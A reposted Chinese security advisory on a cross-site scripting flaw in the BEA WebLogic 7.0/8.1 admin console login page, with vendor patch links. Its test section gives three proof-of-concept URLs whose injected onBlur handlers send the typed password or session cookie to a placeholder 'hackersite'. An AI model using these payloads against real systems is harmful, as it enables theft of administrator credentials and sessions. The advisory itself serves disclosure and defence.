| WebLogic管理控制台登陆页面跨站脚本漏洞 |
|
| |
|
受影响系统：
BEA Systems Weblogic Server 8.1
BEA Systems Weblogic Server 7.0
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 13793
BEA Systems WebLogic包含多种应用系统集成方案，包括Server/Express/Integration等。管理控制台是基于web浏览器的图形用户界面，用于管理WebLogic Server域。
BEA WebLogic管理控制台登陆页面的j_username和j_password参数中存在跨站脚本漏洞，攻击者可以诱骗合法的Web应用程序向没有戒备的终端用户发送恶意代码，
通常是通过创建嵌入了恶意脚本代码的超级链接。有效用户很可能会点击这个链接，因为它看起来好像指向可信任域中的资源。如果用户点击了这个链接的话就可以执行攻击者所提供的代码，导致窃取管理员的会话cookie。
<*来源：Team SHATTER （shatter@appsecinc.com）
链接：http://marc.theaimsgroup.com/?l=bugtraq&m=111722380313416&w=2
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
窃取管理员口令
http://vulnerablesite:7001/console/login/LoginForm.jsp?j_password=""onBlur="window.open(＇http://hackersite/＇%2Bdocument.all.j_password.value)"
窃取会话cookie
http://vulnerablesite:7001/console/login/LoginForm.jsp?j_username=""onBlur="window.open(＇http://hackersite/＇%2Bdocument.cookie)" http://vulnerablesite:7001/console/login/LoginForm.jsp?j_password=""onBlur="window.open(＇http://hackersite/＇%2Bdocument.cookie)"
建议：
--------------------------------------------------------------------------------
厂商补丁：
BEA Systems
-----------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
ftp://ftpna.bea.com/pub/releases/security/CR202495_810sp4.jar
ftp://ftpna.bea.com/pub/releases/security/CR214457_700sp6.jar
|
 |
频道声明：本频道的文章除部分特别声明禁止转载的专稿外，可以自由转载.但请务必注明出出处和原始作者 文章版权归本频道与文章作者所有.对于被频道转载文章的个人和网站,我们表示深深的谢意。
| 原始作者:佚名 |
录入时间:2006-11-3 |
| 信息来源:不详 |
投稿信箱:itqoo@126.com |
|
|
 |
|
|
| 教程录入：admin 责任编辑：admin |
|
上一个教程： 雅虎通明文存储聊天信息漏洞
下一个教程： Invision Power Board非授权访问漏洞 |
| 【字体：小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |
用户登录 
新用户注册 
网友评论：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！） 